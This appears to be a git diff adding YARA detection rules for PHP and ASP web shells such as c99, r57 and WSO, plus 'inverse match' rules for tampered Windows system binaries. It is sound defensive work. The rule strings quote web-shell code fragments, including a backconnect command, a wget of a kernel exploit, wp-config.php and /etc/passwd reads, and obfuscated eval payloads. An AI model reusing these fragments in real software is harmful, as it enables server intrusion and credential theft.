+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-01-11
+	Identifier: Web Shell Repo
+	Reference: https://github.com/nikicat/web-malware-collection
+*/
+
+rule Webshell_27_9_c66_c99 {
+	meta:
+		description = "Detects Webshell - rule generated from from files 27.9.txt, c66.php, c99-shadows-mod.php, c99.php ..."
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
+		hash2 = "5d7709a33879d1060a6cff5bae119de7d5a3c17f65415822fd125af56696778c"
+		hash3 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
+		hash4 = "80ec7831ae888d5603ed28d81225ed8b256c831077bb8feb235e0a1a9b68b748"
+		hash5 = "6ce99e07aa98ba6dc521c34cf16fbd89654d0ba59194878dffca857a4c34e57b"
+		hash6 = "383d771b55bbe5343bab946fd7650fd42de1933c4c8f32449d9a40c898444ef1"
+		hash7 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
+		hash8 = "615e768522447558970c725909e064558f33d38e6402c63c92a1a8bc62b64966"
+		hash9 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+		hash10 = "a4db77895228f02ea17ff48976e03100ddfaef7c9f48c1d40462872f103451d5"
+	strings:
+		$s4 = "if (!empty($unset_surl)) {setcookie(\"c99sh_surl\"); $surl = \"\";}" fullword ascii
+		$s6 = "@extract($_REQUEST[\"c99shcook\"]);" fullword ascii
+		$s7 = "if (!function_exists(\"c99_buff_prepare\"))" fullword ascii
+	condition:
+		filesize < 685KB and 1 of them
+}
+
+rule Webshell_acid_AntiSecShell_3 {
+	meta:
+		description = "Detects Webshell Acid"
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
+		hash2 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash3 = "0202f72b3e8b62e5ebc99164c7d4eb8ec5be6a7527286e9059184aa8321e0092"
+		hash4 = "d4424c61fe29d2ee3d8503f7d65feb48341ac2fc0049119f83074950e41194d5"
+		hash5 = "5d7709a33879d1060a6cff5bae119de7d5a3c17f65415822fd125af56696778c"
+		hash6 = "21dd06ec423f0b49732e4289222864dcc055967922d0fcec901d38a57ed77f06"
+		hash7 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
+		hash8 = "816e699014be9a6d02d5d184eb958c49469d687b7c6fb88e878bca64688a19c9"
+		hash9 = "383d771b55bbe5343bab946fd7650fd42de1933c4c8f32449d9a40c898444ef1"
+		hash10 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
+		hash11 = "615e768522447558970c725909e064558f33d38e6402c63c92a1a8bc62b64966"
+		hash12 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
+		hash13 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
+		hash14 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
+		hash15 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+		hash16 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+		hash17 = "a4db77895228f02ea17ff48976e03100ddfaef7c9f48c1d40462872f103451d5"
+		hash18 = "1fdf6e142135a34ae1caf1d84adf5e273b253ca46c409b2530ca06d65a55ecbd"
+	strings:
+		$s0 = "echo \"<option value=delete\".($dspact == \"delete\"?\" selected\":\"\").\">Delete</option>\";" fullword ascii
+		$s1 = "if (!is_readable($o)) {return \"<font color=red>\".view_perms(fileperms($o)).\"</font>\";}" fullword ascii
+	condition:
+		filesize < 900KB and all of them
+}
+
+rule Webshell_c99_4 {
+	meta:
+		description = "Detects C99 Webshell"
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
+		hash2 = "0202f72b3e8b62e5ebc99164c7d4eb8ec5be6a7527286e9059184aa8321e0092"
+		hash3 = "d4424c61fe29d2ee3d8503f7d65feb48341ac2fc0049119f83074950e41194d5"
+		hash4 = "5d7709a33879d1060a6cff5bae119de7d5a3c17f65415822fd125af56696778c"
+		hash5 = "21dd06ec423f0b49732e4289222864dcc055967922d0fcec901d38a57ed77f06"
+		hash6 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
+		hash7 = "816e699014be9a6d02d5d184eb958c49469d687b7c6fb88e878bca64688a19c9"
+		hash8 = "383d771b55bbe5343bab946fd7650fd42de1933c4c8f32449d9a40c898444ef1"
+		hash9 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
+		hash10 = "615e768522447558970c725909e064558f33d38e6402c63c92a1a8bc62b64966"
+		hash11 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
+		hash12 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+		hash13 = "a4db77895228f02ea17ff48976e03100ddfaef7c9f48c1d40462872f103451d5"
+		hash14 = "1fdf6e142135a34ae1caf1d84adf5e273b253ca46c409b2530ca06d65a55ecbd"
+	strings:
+		$s1 = "displaysecinfo(\"List of Attributes\",myshellexec(\"lsattr -a\"));" fullword ascii
+		$s2 = "displaysecinfo(\"RAM\",myshellexec(\"free -m\"));" fullword ascii
+		$s3 = "displaysecinfo(\"Where is perl?\",myshellexec(\"whereis perl\"));" fullword ascii
+		$s4 = "$ret = myshellexec($handler);" fullword ascii
+		$s5 = "if (posix_kill($pid,$sig)) {echo \"OK.\";}" fullword ascii
+	condition:
+		filesize < 900KB and 1 of them
+}
+
+rule Webshell_r57shell_2 {
+	meta:
+		description = "Detects Webshell R57"
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "e46777e5f1ac1652db3ce72dd0a2475ea515b37a737fffd743126772525a47e6"
+		hash2 = "aa957ca4154b7816093d667873cf6bdaded03f820e84d8f1cd5ad75296dd5d4d"
+		hash3 = "aa957ca4154b7816093d667873cf6bdaded03f820e84d8f1cd5ad75296dd5d4d"
+		hash4 = "756b788401aad4bfd4dbafd15c382d98e3ba079390addb5b0cea7ff7f985f881"
+		hash5 = "756b788401aad4bfd4dbafd15c382d98e3ba079390addb5b0cea7ff7f985f881"
+		hash6 = "16b6ec4b80f404f4616e44d8c21978dcdad9f52c84d23ba27660ee8e00984ff2"
+		hash7 = "59105e4623433d5bf93b9e17d72a43a40a4d8ac99e4a703f1d8851ad1276cd88"
+		hash8 = "1db0549066f294f814ec14ba4e9f63d88c4460d68477e5895236173df437d2b8"
+		hash9 = "c6a5148c81411ec9200810619fa5eec6616800a4d76c988431c272bc8679254f"
+		hash10 = "c6a5148c81411ec9200810619fa5eec6616800a4d76c988431c272bc8679254f"
+		hash11 = "59ea6cf16ea06ff47cf0e6a398df2eaec4d329707b8c3201fc63cbf0b7c85519"
+		hash12 = "0e0227a0001b38fb59fc07749e80c9d298ff0e6aca126ea8f4ea68ebc9a3661f"
+		hash13 = "ef74644065925aa8d64913f5f124fe73d8d289d5f019a104bf5f56689f49ba92"
+	strings:
+		$s1 = "$connection = @ftp_connect($ftp_server,$ftp_port,10);" fullword ascii
+		$s2 = "echo $lang[$language.'_text98'].$suc.\"\\r\\n\";" fullword ascii
+	condition:
+		filesize < 900KB and all of them
+}
+
+rule Webshell_27_9_acid_c99_locus7s {
+	meta:
+		description = "Detects Webshell - rule generated from from files 27.9.txt, acid.php, c99_locus7s.txt"
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
+		hash2 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash3 = "960feb502f913adff6b322bc9815543e5888bbf9058ba0eb46ceb1773ea67668"
+		hash4 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
+		hash5 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
+		hash6 = "5ae121f868555fba112ca2b1a9729d4414e795c39d14af9e599ce1f0e4e445d3"
+		hash7 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+		hash8 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+	strings:
+		$s0 = "$blah = ex($p2.\" /tmp/back \".$_POST['backconnectip'].\" \".$_POST['backconnectport'].\" &\");" fullword ascii
+		$s1 = "$_POST['backcconnmsge']=\"</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>\";" fullword ascii
+	condition:
+		filesize < 1711KB and 1 of them
+}
+
+rule Webshell_Backdoor_PHP_Agent_r57_mod_bizzz_shell_r57 {
+	meta:
+		description = "Detects Webshell - rule generated from from files Backdoor.PHP.Agent.php, r57.mod-bizzz.shell.txt ..."
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "e46777e5f1ac1652db3ce72dd0a2475ea515b37a737fffd743126772525a47e6"
+		hash2 = "f51a5c5775d9cca0b137ddb28ff3831f4f394b7af6f6a868797b0df3dcdb01ba"
+		hash3 = "16b6ec4b80f404f4616e44d8c21978dcdad9f52c84d23ba27660ee8e00984ff2"
+		hash4 = "59105e4623433d5bf93b9e17d72a43a40a4d8ac99e4a703f1d8851ad1276cd88"
+		hash5 = "6dc417db9e07420a618d44217932ca8baf3541c08d5e68281e1be10af4280e4a"
+		hash6 = "5d07fdfee2dc6d81da26f05028f79badd10dec066909932129d398627b2f4e94"
+		hash7 = "1db0549066f294f814ec14ba4e9f63d88c4460d68477e5895236173df437d2b8"
+		hash8 = "c6a5148c81411ec9200810619fa5eec6616800a4d76c988431c272bc8679254f"
+		hash9 = "59ea6cf16ea06ff47cf0e6a398df2eaec4d329707b8c3201fc63cbf0b7c85519"
+		hash10 = "0e0227a0001b38fb59fc07749e80c9d298ff0e6aca126ea8f4ea68ebc9a3661f"
+		hash11 = "ef74644065925aa8d64913f5f124fe73d8d289d5f019a104bf5f56689f49ba92"
+	strings:
+		$s1 = "$_POST['cmd'] = which('" ascii
+		$s2 = "$blah = ex(" fullword ascii
+	condition:
+		filesize < 600KB and all of them
+}
+
+rule Webshell_c100 {
+	meta:
+		description = "Detects Webshell - rule generated from from files c100 v. 777shell"
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "0202f72b3e8b62e5ebc99164c7d4eb8ec5be6a7527286e9059184aa8321e0092"
+		hash2 = "d4424c61fe29d2ee3d8503f7d65feb48341ac2fc0049119f83074950e41194d5"
+		hash3 = "21dd06ec423f0b49732e4289222864dcc055967922d0fcec901d38a57ed77f06"
+		hash4 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
+		hash5 = "816e699014be9a6d02d5d184eb958c49469d687b7c6fb88e878bca64688a19c9"
+		hash6 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
+		hash7 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+	strings:
+		$s0 = "<OPTION VALUE=\"wget http://ftp.powernet.com.tr/supermail/debug/k3\">Kernel attack (Krad.c) PT1 (If wget installed)" fullword ascii
+		$s1 = "<center>Kernel Info: <form name=\"form1\" method=\"post\" action=\"http://google.com/search\">" fullword ascii
+		$s3 = "cut -d: -f1,2,3 /etc/passwd | grep ::" ascii
+		$s4 = "which wget curl w3m lynx" ascii
+		$s6 = "netstat -atup | grep IST"  ascii
+	condition:
+		filesize < 685KB and 2 of them
+}
+
+rule Webshell_AcidPoison {
+	meta:
+		description = "Detects Poison Sh3ll - Webshell"
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash2 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash3 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
+		hash4 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
+		hash5 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
+		hash6 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
+		hash7 = "be541cf880a8e389a0767b85f1686443f35b508d1975ee25e1ce3f08fa32cfb5"
+		hash8 = "be541cf880a8e389a0767b85f1686443f35b508d1975ee25e1ce3f08fa32cfb5"
+		hash9 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+		hash10 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+	strings:
+		$s1 = "elseif ( enabled(\"exec\") ) { exec($cmd,$o); $output = join(\"\\r\\n\",$o); }" fullword ascii
+	condition:
+		filesize < 550KB and all of them
+}
+
+rule Webshell_acid_FaTaLisTiCz_Fx_fx_p0isoN_sh3ll_x0rg_byp4ss_256 {
+	meta:
+		description = "Detects Webshell - rule generated from from files acid.php, FaTaLisTiCz_Fx.txt, fx.txt, p0isoN.sh3ll.txt, x0rg.byp4ss.txt"
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash2 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
+		hash3 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
+		hash4 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+		hash5 = "1fdf6e142135a34ae1caf1d84adf5e273b253ca46c409b2530ca06d65a55ecbd"
+	strings:
+		$s0 = "<form method=\"POST\"><input type=hidden name=act value=\"ls\">" fullword ascii
+		$s2 = "foreach($quicklaunch2 as $item) {" fullword ascii
+	condition:
+		filesize < 882KB and all of them
+}
+
+rule Webshell_Ayyildiz {
+	meta:
+		description = "Detects Webshell - rule generated from from files Ayyildiz Tim  -AYT- Shell v 2.1 Biz.txt, Macker's Private PHPShell.php, matamu.txt, myshell.txt, PHP Shell.txt"
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "0e25aec0a9131e8c7bd7d5004c5c5ffad0e3297f386675bccc07f6ea527dded5"
+		hash2 = "9c43aada0d5429f8c47595f79a7cdd5d4eb2ba5c559fb5da5a518a6c8c7c330a"
+		hash3 = "2ebf3e5f5dde4a27bbd60e15c464e08245a35d15cc370b4be6b011aa7a46eaca"
+		hash4 = "77a63b26f52ba341dd2f5e8bbf5daf05ebbdef6b3f7e81cec44ce97680e820f9"
+		hash5 = "61c4fcb6e788c0dffcf0b672ae42b1676f8a9beaa6ec7453fc59ad821a4a8127"
+	strings:
+		$s0 = "echo \"<option value=\\\"\". strrev(substr(strstr(strrev($work_dir), \"/\"), 1)) .\"\\\">Parent Directory</option>\\n\";" fullword ascii
+		$s1 = "echo \"<option value=\\\"$work_dir\\\" selected>Current Directory</option>\\n\";" fullword ascii
+	condition:
+		filesize < 112KB and all of them
+}
+
+rule Webshell_zehir {
+	meta:
+		description = "Detects Webshell - rule generated from from files elmaliseker.asp, zehir.asp, zehir.txt, zehir4.asp, zehir4.txt"
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "16e1e886576d0c70af0f96e3ccedfd2e72b8b7640f817c08a82b95ff5d4b1218"
+		hash2 = "0c5f8a2ed62d10986a2dd39f52886c0900a18c03d6d279207b8de8e2ed14adf6"
+		hash3 = "cb9d5427a83a0fc887e49f07f20849985bd2c3850f272ae1e059a08ac411ff66"
+		hash4 = "b57bf397984545f419045391b56dcaf7b0bed8b6ee331b5c46cee35c92ffa13d"
+		hash5 = "febf37a9e8ba8ece863f506ae32ad398115106cc849a9954cbc0277474cdba5c"
+	strings:
+		$s1 = "for (i=1; i<=frmUpload.max.value; i++) str+='File '+i+': <input type=file name=file'+i+'><br>';" fullword ascii
+		$s2 = "if (frmUpload.max.value<=0) frmUpload.max.value=1;" fullword ascii
+	condition:
+		filesize < 200KB and 1 of them
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-09-10
+	Identifier: Webshells PHP bartblaze
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule UploadShell_98038f1efa4203432349badabad76d44337319a6 {
+	meta:
+		description = "Detects a web shell"
+		author = "Florian Roth"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "506a6ab6c49e904b4adc1f969c91e4f1a7dde164be549c6440e766de36c93215"
+	strings:
+		$s2 = "$lol = file_get_contents(\"../../../../../wp-config.php\");" fullword ascii
+		$s6 = "@unlink(\"./export-check-settings.php\");" fullword ascii
+		$s7 = "$xos = \"Safe-mode:[Safe-mode:\".$hsafemode.\"] " fullword ascii
+	condition:
+		( uint16(0) == 0x3f3c and filesize < 6KB and ( all of ($s*) ) ) or ( all of them )
+}
+
+rule DKShell_f0772be3c95802a2d1e7a4a3f5a45dcdef6997f3 {
+	meta:
+		description = "Detects a web shell"
+		author = "Florian Roth"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "7ea49d5c29f1242f81f2393b514798ff7caccb50d46c60bdfcf61db00043473b"
+	strings:
+		$s1 = "<?php Error_Reporting(0); $s_pass = \"" ascii
+		$s2 = "$s_func=\"cr\".\"eat\".\"e_fun\".\"cti\".\"on" ascii
+	condition:
+		( uint16(0) == 0x3c0a and filesize < 300KB and all of them )
+}
+
+rule Unknown_8af033424f9590a15472a23cc3236e68070b952e {
+	meta:
+		description = "Detects a web shell"
+		author = "Florian Roth"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "3382b5eaaa9ad651ab4793e807032650667f9d64356676a16ae3e9b02740ccf3"
+	strings:
+		$s1 = "$check = $_SERVER['DOCUMENT_ROOT']" fullword ascii
+		$s2 = "$fp=fopen(\"$check\",\"w+\");" fullword ascii
+		$s3 = "fwrite($fp,base64_decode('" ascii
+	condition:
+		( uint16(0) == 0x6324 and filesize < 6KB and ( all of ($s*) ) ) or ( all of them )
+}
+
+rule DkShell_4000bd83451f0d8501a9dfad60dce39e55ae167d {
+	meta:
+		description = "Detects a web shell"
+		author = "Florian Roth"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "51a16b09520a3e063adf10ff5192015729a5de1add8341a43da5326e626315bd"
+	strings:
+		$x1 = "DK Shell - Took the Best made it Better..!!" fullword ascii
+		$x2 = "preg_replace(\"/.*/e\",\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\x73\\x65\\x36\\x" ascii
+		$x3 = "echo '<b>Sw Bilgi<br><br>'.php_uname().'<br></b>';" fullword ascii
+
+		$s1 = "echo '<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">';" fullword ascii
+		$s9 = "$x = $_GET[\"x\"];" fullword ascii
+	condition:
+		( uint16(0) == 0x3f3c and filesize < 200KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule WebShell_5786d7d9f4b0df731d79ed927fb5a124195fc901 {
+	meta:
+		description = "Detects a web shell"
+		author = "Florian Roth"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "b1733cbb0eb3d440c4174cc67ca693ba92308ded5fc1069ed650c3c78b1da4bc"
+	strings:
+		$s1 = "preg_replace(\"\\x2F\\x2E\\x2A\\x2F\\x65\",\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x" ascii
+		$s2 = "input[type=text], input[type=password]{" fullword ascii
+	condition:
+		( uint16(0) == 0x6c3c and filesize < 80KB and all of them )
+}
+
+rule webshell_e8eaf8da94012e866e51547cd63bb996379690bf {
+	meta:
+		description = "Detects a web shell"
+		author = "Florian Roth"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "027544baa10259939780e97dc908bd43f0fb940510119fc4cce0883f3dd88275"
+	strings:
+		$x1 = "@exec('./bypass/ln -s /etc/passwd 1.php');" fullword ascii
+		$x2 = "echo \"<iframe src=mysqldumper/index.php width=100% height=100% frameborder=0></iframe> \";" fullword ascii
+		$x3 = "@exec('tar -xvf mysqldumper.tar.gz');" fullword ascii
+	condition:
+		( uint16(0) == 0x213c and filesize < 100KB and 1 of ($x*) ) or ( 2 of them )
+}
+
+rule Unknown_0f06c5d1b32f4994c3b3abf8bb76d5468f105167 {
+	meta:
+		description = "Detects a web shell"
+		author = "Florian Roth"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "6362372850ac7455fa9461ed0483032a1886543f213a431f81a2ac76d383b47e"
+	strings:
+		$s1 = "$check = $_SERVER['DOCUMENT_ROOT'] . \"/libraries/lola.php\" ;" fullword ascii
+		$s2 = "$fp=fopen(\"$check\",\"w+\");" fullword ascii
+		$s3 = "fwrite($fp,base64_decode('" ascii
+	condition:
+		( uint16(0) == 0x6324 and filesize < 2KB and all of them )
+}
+
+rule WSOShell_0bbebaf46f87718caba581163d4beed56ddf73a7 {
+	meta:
+		description = "Detects a web shell"
+		author = "Florian Roth"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		hash1 = "d053086907aed21fbb6019bf9e644d2bae61c63563c4c3b948d755db3e78f395"
+	strings:
+		$s8 = "$default_charset='Wi'.'ndo.'.'ws-12'.'51';" fullword ascii
+		$s9 = "$mosimage_session = \"" fullword ascii
+	condition:
+		( uint16(0) == 0x3f3c and filesize < 300KB and all of them )
+}
+
+rule WebShell_Generic_1609_A {
+	meta:
+		description = "Auto-generated rule"
+		author = "Florian Roth"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		date = "2016-09-10"
+		super_rule = 1
+		hash1 = "c817a490cfd4d6377c15c9ac9bcfa136f4a45ff5b40c74f15216c030f657d035"
+		hash3 = "69b9d55ea2eb4a0d9cfe3b21b0c112c31ea197d1cb00493d1dddc78b90c5745e"
+	strings:
+		$s1 = "return $qwery45234dws($b);" fullword ascii
+	condition:
+		( uint16(0) == 0x3f3c and 1 of them )
+}
+
+rule Nishang_Webshell {
+	meta:
+		description = "Detects a ASPX web shell"
+		author = "Florian Roth"
+		reference = "https://github.com/samratashok/nishang"
+		date = "2016-09-11"
+	strings:
+		$s1 = "psi.Arguments = \"-noninteractive \" + \"-executionpolicy bypass \" + arg;" ascii
+		$s2 = "output.Text += \"\nPS> \" + console.Text + \"\n\" + do_ps(console.Text);" ascii
+		$s3 = "<title>Antak Webshell</title>" fullword ascii
+		$s4 = "<asp:Button ID=\"executesql\" runat=\"server\" Text=\"Execute SQL Query\"" ascii
+	condition:
+		( uint16(0) == 0x253C and filesize < 100KB and 1 of ($s*) )
+}
diff --git a/yara-mikesxrs/Florian Roth/thor_inverse_matches.yar b/yara-mikesxrs/Florian Roth/thor_inverse_matches.yar
new file mode 100644
index 0000000..ada40a8
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/thor_inverse_matches.yar	
@@ -0,0 +1,356 @@
+/*
+	THOR Yara Inverse Matches
+	> Detect system file manipulations and common APT anomalies
+
+	This is an extract from the THOR signature database
+
+	Reference:
+	http://www.bsk-consulting.de/2014/05/27/inverse-yara-signature-matching/
+	https://www.bsk-consulting.de/2014/08/28/scan-system-files-manipulations-yara-inverse-matching-22/
+
+	Notice: These rules require an external variable called "filename"
+
+   License: Attribution-NonCommercial-ShareAlike 4.0 International (CC BY-NC-SA 4.0)
+	Copyright and related rights waived via https://creativecommons.org/licenses/by-nc-sa/4.0/
+*/
+
+private rule WINDOWS_UPDATE_BDC
+{
+condition:
+    (uint32be(0) == 0x44434d01 and // magic: DCM PA30
+     uint32be(4) == 0x50413330)
+    or
+    (uint32be(0) == 0x44434401 and
+     uint32be(12)== 0x50413330)    // magic: DCD PA30
+}
+
+/* Rules -------------------------------------------------------------------- */
+
+rule iexplore_ANOMALY {
+	meta:
+		author = "Florian Roth"
+		description = "Abnormal iexplore.exe - typical strings not found in file"
+		date = "23/04/2014"
+		score = 55
+	strings:
+		$win2003_win7_u1 = "IEXPLORE.EXE" wide nocase
+		$win2003_win7_u2 = "Internet Explorer" wide fullword
+		$win2003_win7_u3 = "translation" wide fullword nocase
+		$win2003_win7_u4 = "varfileinfo" wide fullword nocase
+	condition:
+		filename == "iexplore.exe"
+      and not filepath contains "teamviewer"
+      and not 1 of ($win*) and not WINDOWS_UPDATE_BDC
+}
+
+rule svchost_ANOMALY {
+	meta:
+		author = "Florian Roth"
+		description = "Abnormal svchost.exe - typical strings not found in file"
+		date = "23/04/2014"
+		score = 55
+	strings:
+		$win2003_win7_u1 = "svchost.exe" wide nocase
+		$win2003_win7_u3 = "coinitializesecurityparam" wide fullword nocase
+		$win2003_win7_u4 = "servicedllunloadonstop" wide fullword nocase
+		$win2000 = "Generic Host Process for Win32 Services" wide fullword
+		$win2012 = "Host Process for Windows Services" wide fullword
+	condition:
+		filename == "svchost.exe" and not 1 of ($win*) and not WINDOWS_UPDATE_BDC
+}
+
+/* removed 1 rule here */
+
+rule explorer_ANOMALY {
+	meta:
+		author = "Florian Roth"
+		description = "Abnormal explorer.exe - typical strings not found in file"
+		date = "27/05/2014"
+		score = 55
+	strings:
+		$s1 = "EXPLORER.EXE" wide fullword
+		$s2 = "Windows Explorer" wide fullword
+	condition:
+		filename == "explorer.exe"
+      and not filepath contains "teamviewer"
+      and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule sethc_ANOMALY {
+	meta:
+		description = "Sethc.exe has been replaced - Indicates Remote Access Hack RDP"
+		author = "F. Roth"
+		reference = "http://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf"
+		date = "2014/01/23"
+		score = 70
+	strings:
+		$s1 = "stickykeys" fullword nocase
+		$s2 = "stickykeys" wide nocase
+		$s3 = "Control_RunDLL access.cpl" wide fullword
+		$s4 = "SETHC.EXE" wide fullword
+	condition:
+		filename == "sethc.exe" and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule Utilman_ANOMALY {
+	meta:
+		author = "Florian Roth"
+		description = "Abnormal utilman.exe - typical strings not found in file"
+		date = "01/06/2014"
+		score = 70
+	strings:
+		$win7 = "utilman.exe" wide fullword
+		$win2000 = "Start with Utility Manager" fullword wide
+		$win2012 = "utilman2.exe" fullword wide
+	condition:
+		( filename == "utilman.exe" or filename == "Utilman.exe" ) and not 1 of ($win*) and not WINDOWS_UPDATE_BDC
+}
+
+rule osk_ANOMALY {
+	meta:
+		author = "Florian Roth"
+		description = "Abnormal osk.exe (On Screen Keyboard) - typical strings not found in file"
+		date = "01/06/2014"
+		score = 55
+	strings:
+		$s1 = "Accessibility On-Screen Keyboard" wide fullword
+		$s2 = "\\oskmenu" wide fullword
+		$s3 = "&About On-Screen Keyboard..." wide fullword
+		$s4 = "Software\\Microsoft\\Osk" wide
+	condition:
+		filename == "osk.exe" and not 1 of ($s*) and not WINDOWS_UPDATE_BDC
+}
+
+rule magnify_ANOMALY {
+	meta:
+		author = "Florian Roth"
+		description = "Abnormal magnify.exe (Magnifier) - typical strings not found in file"
+		date = "01/06/2014"
+		score = 55
+	strings:
+		$win7 = "Microsoft Screen Magnifier" wide fullword
+		$win2000 = "Microsoft Magnifier" wide fullword
+		$winxp = "Software\\Microsoft\\Magnify" wide
+	condition:
+		filename =="magnify.exe" and not 1 of ($win*) and not WINDOWS_UPDATE_BDC
+}
+
+rule narrator_ANOMALY {
+	meta:
+		author = "Florian Roth"
+		description = "Abnormal narrator.exe - typical strings not found in file"
+		date = "01/06/2014"
+		score = 55
+	strings:
+		$win7 = "Microsoft-Windows-Narrator" wide fullword
+		$win2000 = "&About Narrator..." wide fullword
+		$win2012 = "Screen Reader" wide fullword
+		$winxp = "Software\\Microsoft\\Narrator"
+		$winxp_en = "SOFTWARE\\Microsoft\\Speech\\Voices" wide
+	condition:
+		filename == "narrator.exe" and not 1 of ($win*) and not WINDOWS_UPDATE_BDC
+}
+
+rule notepad_ANOMALY {
+	meta:
+		author = "Florian Roth"
+		description = "Abnormal notepad.exe - typical strings not found in file"
+		date = "01/06/2014"
+		score = 55
+	strings:
+		$win7 = "HELP_ENTRY_ID_NOTEPAD_HELP" wide fullword
+		$win2000 = "Do you want to create a new file?" wide fullword
+		$win2003 = "Do you want to save the changes?" wide
